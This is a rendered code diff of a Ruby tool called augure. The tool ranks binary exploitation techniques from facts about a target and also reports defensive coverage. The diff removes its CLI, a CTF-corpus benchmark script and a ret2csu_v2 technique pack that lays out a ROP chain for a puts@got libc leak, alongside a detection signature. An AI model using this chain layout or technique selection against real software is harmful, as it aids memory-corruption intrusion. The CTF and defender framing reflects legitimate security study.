- docs/build-format.md
|
|
33
|
+
- docs/explanation-architecture.md
|
|
34
|
+
- docs/how-to-swap-solver.md
|
|
35
|
+
- docs/how-to-write-rules.md
|
|
36
|
+
- docs/pack-format.md
|
|
37
|
+
- docs/reference.md
|
|
38
|
+
- docs/tutorial.md
|
|
39
|
+
- examples/ret2win.facts
|
|
40
|
+
- examples/split.facts
|
|
77
41
|
- exe/augure
|
|
78
42
|
- exe/augure-benchmark
|
|
43
|
+
- lib/augure.rb
|
|
44
|
+
- lib/augure/bandit.rb
|
|
45
|
+
- lib/augure/coverage.rb
|
|
46
|
+
- lib/augure/ctf_corpus.json
|
|
47
|
+
- lib/augure/engine.rb
|
|
48
|
+
- lib/augure/facts.rb
|
|
49
|
+
- lib/augure/kb_corpus.json
|
|
50
|
+
- lib/augure/knowledge_base.rb
|
|
51
|
+
- lib/augure/mcts.rb
|
|
52
|
+
- lib/augure/pack.rb
|
|
53
|
+
- lib/augure/pack_loader.rb
|
|
54
|
+
- lib/augure/parity.rb
|
|
55
|
+
- lib/augure/pipeline.rb
|
|
56
|
+
- lib/augure/priors.rb
|
|
57
|
+
- lib/augure/rules.rb
|
|
58
|
+
- lib/augure/smt_process.rb
|
|
59
|
+
- lib/augure/verifier.rb
|
|
60
|
+
- lib/augure/version.rb
|
|
61
|
+
- packs/banner_leak.yml
|
|
62
|
+
- packs/brop.yml
|
|
63
|
+
- packs/callme.yml
|
|
64
|
+
- packs/fastbin_hook.yml
|
|
65
|
+
- packs/got_partial_overwrite.yml
|
|
66
|
+
- packs/got_partial_overwrite_deref.yml
|
|
67
|
+
- packs/house_botcake.yml
|
|
68
|
+
- packs/house_force.yml
|
|
69
|
+
- packs/house_of_apple2.yml
|
|
70
|
+
- packs/house_orange.yml
|
|
71
|
+
- packs/jop.yml
|
|
72
|
+
- packs/large_bin_attack.yml
|
|
73
|
+
- packs/one_gadget.yml
|
|
74
|
+
- packs/orw.yml
|
|
75
|
+
- packs/ret2csu_v2.yml
|
|
76
|
+
- packs/ret2dlresolve_x86.yml
|
|
77
|
+
- packs/ret2partial_overwrite.yml
|
|
78
|
+
- packs/ret2vdso.yml
|
|
79
|
+
- packs/setcontext_srop.yml
|
|
80
|
+
- packs/uaf_tcache.yml
|
|
81
|
+
- packs/unsorted_bin_attack.yml
|
|
79
82
|
homepage: https://github.com/log0u7/augure
|
|
80
83
|
licenses:
|
|
81
84
|
- MIT
|
|
@@ -1,181 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
# frozen_string_literal: true
|
|
3
|
-
|
|
4
|
-
require "json"
|
|
5
|
-
require "optparse"
|
|
6
|
-
require_relative "../lib/augure"
|
|
7
|
-
|
|
8
|
-
VERSION_LINE = "augure #{Augure::VERSION}"
|
|
9
|
-
|
|
10
|
-
options = {json: false, seed: nil}
|
|
11
|
-
parser = OptionParser.new do |opts|
|
|
12
|
-
opts.banner = <<~USAGE
|
|
13
|
-
|
|
14
|
-
#{VERSION_LINE} - the auditable exploitation decision layer
|
|
15
|
-
|
|
16
|
-
Usage:
|
|
17
|
-
augure analyze <facts-file | -> [options] decide on facts
|
|
18
|
-
augure coverage [options] the corpus read backwards (defender side)
|
|
19
|
-
augure doctor verify the environment
|
|
20
|
-
augure rules print the rules-as-data table
|
|
21
|
-
augure explain <technique> rules + knowledge for one technique
|
|
22
|
-
augure --version print the version
|
|
23
|
-
|
|
24
|
-
analyze options:
|
|
25
|
-
USAGE
|
|
26
|
-
opts.on("-j", "--json", "Emit the decision as JSON (schema: augure/decision@1)") { options[:json] = true }
|
|
27
|
-
opts.on("-s", "--seed N", Integer, "Seed for deterministic bandit/MCTS") { |n| options[:seed] = n }
|
|
28
|
-
opts.on("--packs DIR", "Load technique packs (armor + corpus guard) for analyze/explain") { |v| options[:packs] = v }
|
|
29
|
-
opts.on("--flip NAME:VALUE", "Coverage: a hardening flip (nx:true, canary:true, relro:full; NAME:nil removes)") do |v|
|
|
30
|
-
name, value = v.split(":", 2)
|
|
31
|
-
(options[:flips] ||= {})[name] = ((value == "nil") ? nil : value)
|
|
32
|
-
end
|
|
33
|
-
opts.on("--facts FILE", "Coverage: one facts entry instead of the corpus") { |v| options[:facts_entry] = v }
|
|
34
|
-
opts.on("--mitre", "rules: export the ATT&CK navigator layer (from the packs' mitre: fields)") { options[:mitre] = true }
|
|
35
|
-
opts.on("--version", "Print the version") do
|
|
36
|
-
puts VERSION_LINE
|
|
37
|
-
exit 0
|
|
38
|
-
end
|
|
39
|
-
opts.on("-h", "--help", "Show this help") do
|
|
40
|
-
puts opts
|
|
41
|
-
exit 0
|
|
42
|
-
end
|
|
43
|
-
end
|
|
44
|
-
parser.parse!
|
|
45
|
-
|
|
46
|
-
command = ARGV.shift
|
|
47
|
-
|
|
48
|
-
case command
|
|
49
|
-
when "--version", "-v"
|
|
50
|
-
puts VERSION_LINE
|
|
51
|
-
when "doctor"
|
|
52
|
-
checks = []
|
|
53
|
-
checks << ["ruby >= 3.4", (RUBY_VERSION >= "3.4") ? nil : "upgrade ruby (mise install ruby@3.4)"]
|
|
54
|
-
checks << [VERSION_LINE, nil]
|
|
55
|
-
|
|
56
|
-
# The corpus self-verifies: parse a shipped example, decide, compare.
|
|
57
|
-
begin
|
|
58
|
-
example = File.join(__dir__, "../examples/ret2win.facts")
|
|
59
|
-
result = Augure::Pipeline.analyze(facts: File.read(example))
|
|
60
|
-
checks << if result[:ranking].first == "ret2func"
|
|
61
|
-
["corpus self-test (selected: ret2func)", nil]
|
|
62
|
-
else
|
|
63
|
-
["corpus self-test", "corpus example decided differently - report a bug"]
|
|
64
|
-
end
|
|
65
|
-
rescue => e
|
|
66
|
-
checks << ["corpus self-test", e.message]
|
|
67
|
-
end
|
|
68
|
-
|
|
69
|
-
solvers = %w[z3 bitwuzla cvc5].select do |s|
|
|
70
|
-
system("sh", "-c", "command -v '#{s}' >/dev/null 2>&1")
|
|
71
|
-
end
|
|
72
|
-
checks << ["SMT solvers",
|
|
73
|
-
solvers.empty? ? "optional - none found; the arithmetic path works without (apt install z3 for the SMT path)" : "optional, found: #{solvers.join(", ")}"]
|
|
74
|
-
|
|
75
|
-
failed = false
|
|
76
|
-
checks.each do |name, problem|
|
|
77
|
-
if problem&.start_with?("optional")
|
|
78
|
-
puts " opt #{name} - #{problem}"
|
|
79
|
-
elsif problem
|
|
80
|
-
failed = true
|
|
81
|
-
puts " FAIL #{name} - fix: #{problem}"
|
|
82
|
-
else
|
|
83
|
-
puts " ok #{name}"
|
|
84
|
-
end
|
|
85
|
-
end
|
|
86
|
-
if failed
|
|
87
|
-
n = checks.count { |_, p| p && !p.start_with?("optional") }
|
|
88
|
-
abort("augure: doctor found #{n} issue(s) - fixes above")
|
|
89
|
-
end
|
|
90
|
-
when "rules"
|
|
91
|
-
if options[:mitre]
|
|
92
|
-
mitre_by_pack = {}
|
|
93
|
-
packs_dir = options[:packs] || "packs"
|
|
94
|
-
Dir.glob(File.expand_path(File.join(packs_dir, "*.yml"))).each do |path|
|
|
95
|
-
pack = Augure::Pack.load_file(path)
|
|
96
|
-
(mitre_by_pack[pack.technique] = pack.mitre) if pack.mitre
|
|
97
|
-
rescue
|
|
98
|
-
nil
|
|
99
|
-
end
|
|
100
|
-
if options[:json]
|
|
101
|
-
puts JSON.pretty_generate("schema" => "augure/mitre-navigator@1", "layers" => [{
|
|
102
|
-
"name" => "augure techniques", "versions" => {"attack" => "14", "navigator" => "4.9"},
|
|
103
|
-
"techniques" => mitre_by_pack.map { |tech, codes| codes.map { |c| {"techniqueID" => c, "score" => 1, "comment" => tech} } }.flatten
|
|
104
|
-
}])
|
|
105
|
-
exit 0
|
|
106
|
-
end
|
|
107
|
-
mitre_by_pack.each { |tech, codes| puts "#{tech}\t#{codes.join(", ")}" }
|
|
108
|
-
exit 0
|
|
109
|
-
end
|
|
110
|
-
Augure::Rules.all.each do |rule|
|
|
111
|
-
puts rule.id
|
|
112
|
-
puts " head: #{rule.head.join("=")}"
|
|
113
|
-
puts " why: #{rule.source}"
|
|
114
|
-
end
|
|
115
|
-
when "explain"
|
|
116
|
-
technique = ARGV.shift or abort(parser.to_s)
|
|
117
|
-
packs = options[:packs] && Augure::PackLoader.load_dir(options[:packs]).tap { |ps| Augure::PackLoader.corpus_guard(ps) }
|
|
118
|
-
rules = Augure::Rules.all + packs.to_a.flat_map(&:rules)
|
|
119
|
-
rules = rules.select { |r| r.head == [Augure::Rules::APPLICABLE, technique] }
|
|
120
|
-
entries = Augure::KnowledgeBase.corpus_with(packs.to_a.flat_map(&:kb))
|
|
121
|
-
.select { |e| e["technique"] == technique }
|
|
122
|
-
if rules.empty? && entries.empty?
|
|
123
|
-
known = Augure::Rules.applicable_rules.map { |r| r.head[1] }.uniq.sort
|
|
124
|
-
abort("augure: unknown technique '#{technique}' - known: #{known.join(", ")}")
|
|
125
|
-
end
|
|
126
|
-
puts "technique: #{technique}"
|
|
127
|
-
rules.each do |rule|
|
|
128
|
-
puts " rule: #{rule.id} - #{rule.source}"
|
|
129
|
-
end
|
|
130
|
-
entries.each do |e|
|
|
131
|
-
puts " kb: #{e["id"]} (success_rate #{e["success_rate"]})"
|
|
132
|
-
puts " #{e["description"]}"
|
|
133
|
-
end
|
|
134
|
-
when "coverage"
|
|
135
|
-
entries = if options[:facts_entry]
|
|
136
|
-
[{"suite" => "facts", "name" => File.basename(options[:facts_entry]),
|
|
137
|
-
"facts" => File.read(options[:facts_entry])}]
|
|
138
|
-
else
|
|
139
|
-
corpus = JSON.parse(File.read(File.expand_path("../lib/augure/ctf_corpus.json", __dir__)))
|
|
140
|
-
corpus["suites"].values.flatten
|
|
141
|
-
end
|
|
142
|
-
unless options[:flips]
|
|
143
|
-
abort("augure: coverage needs at least one --flip NAME:VALUE (nx:true, canary:true, relro:full)")
|
|
144
|
-
end
|
|
145
|
-
report = Augure::Coverage.report(entries, flips: options[:flips])
|
|
146
|
-
if options[:json]
|
|
147
|
-
puts JSON.pretty_generate("schema" => "augure/coverage@1", **report)
|
|
148
|
-
exit 0
|
|
149
|
-
end
|
|
150
|
-
entries.size
|
|
151
|
-
report[:entries].count { |e| e[:lost].empty? && e[:gained].empty? }
|
|
152
|
-
puts "the corpus read backwards: #{entries.size} targets, flips #{options[:flips].inspect}"
|
|
153
|
-
puts "targets that change their applicable set: #{report[:entries].count { |e| e[:lost] || e[:gained] } - report[:entries].count { |e| e[:lost].empty? && e[:gained].empty? }}"
|
|
154
|
-
report[:died].each { |tech, n| puts " died: #{tech} (#{n} target(s))" }
|
|
155
|
-
report[:gained].each { |tech, n| puts " gained: #{tech} (#{n} target(s))" }
|
|
156
|
-
puts "untouched targets: #{report[:survived_count]}"
|
|
157
|
-
puts "the remaining applicable techniques are the attacker's next moves - harden accordingly."
|
|
158
|
-
when "analyze"
|
|
159
|
-
path = ARGV.shift or abort(parser.to_s)
|
|
160
|
-
input = (path == "-") ? $stdin.read : File.read(path)
|
|
161
|
-
begin
|
|
162
|
-
packs = options[:packs] && Augure::PackLoader.load_dir(options[:packs]).tap { |ps| Augure::PackLoader.corpus_guard(ps) }
|
|
163
|
-
result = Augure::Pipeline.analyze(facts: input, seed: options[:seed], packs: packs)
|
|
164
|
-
if options[:json]
|
|
165
|
-
puts JSON.pretty_generate({schema: "augure/decision@1"}.merge(result))
|
|
166
|
-
else
|
|
167
|
-
puts "applicable: #{result[:applicable].join(", ")}"
|
|
168
|
-
puts "selected: #{result[:selected]}"
|
|
169
|
-
puts "plan: #{result[:plan].join(" -> ")}"
|
|
170
|
-
result[:explain][:provenance].each do |tech, provs|
|
|
171
|
-
provs.each do |p|
|
|
172
|
-
puts " #{tech} <- #{p[:rule]} (#{p[:evidence].map { |e| e.join("=") }.join(", ")})"
|
|
173
|
-
end
|
|
174
|
-
end
|
|
175
|
-
end
|
|
176
|
-
rescue Augure::MalformedFact, Augure::UnknownPredicate => e
|
|
177
|
-
abort("augure: #{e.message}")
|
|
178
|
-
end
|
|
179
|
-
else
|
|
180
|
-
abort(parser.to_s)
|
|
181
|
-
end
|
|
@@ -1,67 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
# frozen_string_literal: true
|
|
3
|
-
|
|
4
|
-
require "json"
|
|
5
|
-
require "optparse"
|
|
6
|
-
require_relative "../lib/augure"
|
|
7
|
-
|
|
8
|
-
# Concordance benchmark against the frozen CTF corpus, in the spirit of the
|
|
9
|
-
# Python prototype's benchmark harness: predictions vs documented truth,
|
|
10
|
-
# per suite, with an explicit exit code gate.
|
|
11
|
-
|
|
12
|
-
threshold = 1.00
|
|
13
|
-
OptionParser.new do |opts|
|
|
14
|
-
opts.banner = "Usage: augure-benchmark <corpus.json> [--min-top1 N]"
|
|
15
|
-
opts.on("--min-top1 N", Float, "Fail below this top-1 concordance (default 1.00)") { |v| threshold = v }
|
|
16
|
-
opts.on("--version", "Print the version") do
|
|
17
|
-
puts "augure #{Augure::VERSION} (benchmark)"
|
|
18
|
-
exit 0
|
|
19
|
-
end
|
|
20
|
-
end.parse!(ARGV)
|
|
21
|
-
|
|
22
|
-
path = ARGV.shift or abort("Usage: augure-benchmark <corpus.json> [--min-top1 N]")
|
|
23
|
-
corpus = JSON.parse(File.read(path))
|
|
24
|
-
meta_priors = corpus.dig("meta", "priors")
|
|
25
|
-
|
|
26
|
-
puts " augure-benchmark: prediction vs documented ground truth"
|
|
27
|
-
puts
|
|
28
|
-
|
|
29
|
-
correct_top1 = 0
|
|
30
|
-
correct_top3 = 0
|
|
31
|
-
n = 0
|
|
32
|
-
|
|
33
|
-
corpus["suites"].each do |suite, entries|
|
|
34
|
-
suite_ok1 = 0
|
|
35
|
-
suite_ok3 = 0
|
|
36
|
-
entries.each do |entry|
|
|
37
|
-
result = Augure::Pipeline.analyze(facts: entry["facts"], priors: meta_priors)
|
|
38
|
-
top3 = result[:ranking].first(3)
|
|
39
|
-
# An empty frozen verdict is a verdict: concordance = the engine
|
|
40
|
-
# reproduces it exactly (the pack layer owns the technique; the
|
|
41
|
-
# built-in table intentionally says nothing).
|
|
42
|
-
if entry["applicable"].empty?
|
|
43
|
-
ok = result[:applicable].empty?
|
|
44
|
-
suite_ok1 += 1 if ok
|
|
45
|
-
suite_ok3 += 1 if ok
|
|
46
|
-
next
|
|
47
|
-
end
|
|
48
|
-
suite_ok1 += 1 if result[:ranking].first == entry["truth"]
|
|
49
|
-
suite_ok3 += 1 if top3.include?(entry["truth"])
|
|
50
|
-
end
|
|
51
|
-
count = entries.size
|
|
52
|
-
n += count
|
|
53
|
-
correct_top1 += suite_ok1
|
|
54
|
-
correct_top3 += suite_ok3
|
|
55
|
-
puts format(" %-12s %d/%d top-1 %d/%d top-3",
|
|
56
|
-
suite, suite_ok1, count, suite_ok3, count)
|
|
57
|
-
end
|
|
58
|
-
|
|
59
|
-
puts
|
|
60
|
-
pct = correct_top1.to_f / n
|
|
61
|
-
puts format(" Top-1 concordance: %d/%d (%.0f%%)", correct_top1, n, pct * 100)
|
|
62
|
-
puts format(" Top-3 concordance: %d/%d (%.0f%%)", correct_top3, n, (correct_top3.to_f / n) * 100)
|
|
63
|
-
|
|
64
|
-
if pct < threshold
|
|
65
|
-
puts format(" BELOW THRESHOLD (%.0f%% < %.0f%%)", pct * 100, threshold * 100)
|
|
66
|
-
exit 1
|
|
67
|
-
end
|
|
@@ -1,55 +0,0 @@
|
|
|
1
|
-
# Canonique: le modele de technique pack pour agents et operateurs.
|
|
2
|
-
# Structure, vocabulaire et limites: voir docs/pack-format.md.
|
|
3
|
-
technique: ret2csu_v2
|
|
4
|
-
author: Gregory Epp
|
|
5
|
-
source: https://ropemporium.com/challenge/ret2csu.html
|
|
6
|
-
|
|
7
|
-
rules:
|
|
8
|
-
- id: app_ret2csu_v2
|
|
9
|
-
head: [applicable, ret2csu_v2]
|
|
10
|
-
conditions:
|
|
11
|
-
- [fact, vuln, sof]
|
|
12
|
-
- [fact, nx, true]
|
|
13
|
-
- [match, gadget, 0, csu]
|
|
14
|
-
|
|
15
|
-
kb:
|
|
16
|
-
- id: ret2csu_v2_001
|
|
17
|
-
technique: ret2csu_v2
|
|
18
|
-
description: >
|
|
19
|
-
__libc_csu_init universal gadget populates rdx/rsi/rdi in
|
|
20
|
-
gadget-sparse binaries; the popper and mov gadgets enable
|
|
21
|
-
controlled multi-argument calls.
|
|
22
|
-
chain: [csu_popper, csu_mov, target_fn]
|
|
23
|
-
unlocks: [libc_base]
|
|
24
|
-
success_rate: 0.75
|
|
25
|
-
|
|
26
|
-
mcts:
|
|
27
|
-
requires: []
|
|
28
|
-
provides: [libc_base]
|
|
29
|
-
terminal: false
|
|
30
|
-
success: 0.70
|
|
31
|
-
|
|
32
|
-
priors: [14, 6]
|
|
33
|
-
|
|
34
|
-
# The assembly order, resolved by lictor's builder from the facts: the
|
|
35
|
-
# csu popper sets rbx=0, rbp=1, r12=fn@got, r13=arg2, r14=arg1, r15=arg0
|
|
36
|
-
# then csu_mov issues mov rdx,r13 / mov rsi,r14 / mov edi,r15d / call
|
|
37
|
-
# [r12+rbx*8]; 7 junk qwords fall through the second pop; the chain
|
|
38
|
-
# ends on the technique that follows (leak:main keeps the process
|
|
39
|
-
# alive). The arg values here are the canonical puts(puts@got) leak;
|
|
40
|
-
# an operator edits the consts for their call.
|
|
41
|
-
build:
|
|
42
|
-
technique: ret2csu_v2
|
|
43
|
-
layout:
|
|
44
|
-
- [padding, measured_offset]
|
|
45
|
-
- [chain, "gadget:csu_popper", "const:0", "const:1", "got_addr:puts",
|
|
46
|
-
"const:8", "got_addr:puts", "const:1", "gadget:csu_mov",
|
|
47
|
-
"const:0", "const:0", "const:0", "const:0", "const:0", "const:0", "const:0"]
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
# The defender side (the corpus read backwards): what this technique
|
|
51
|
-
# looks like to the defenses. Armored by check 9.
|
|
52
|
-
detection:
|
|
53
|
-
- channel: crash
|
|
54
|
-
signature: "call through __libc_csu_init gadget territory on a gadget-poor binary"
|
|
55
|
-
note: "the csu chain issuing calls"
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|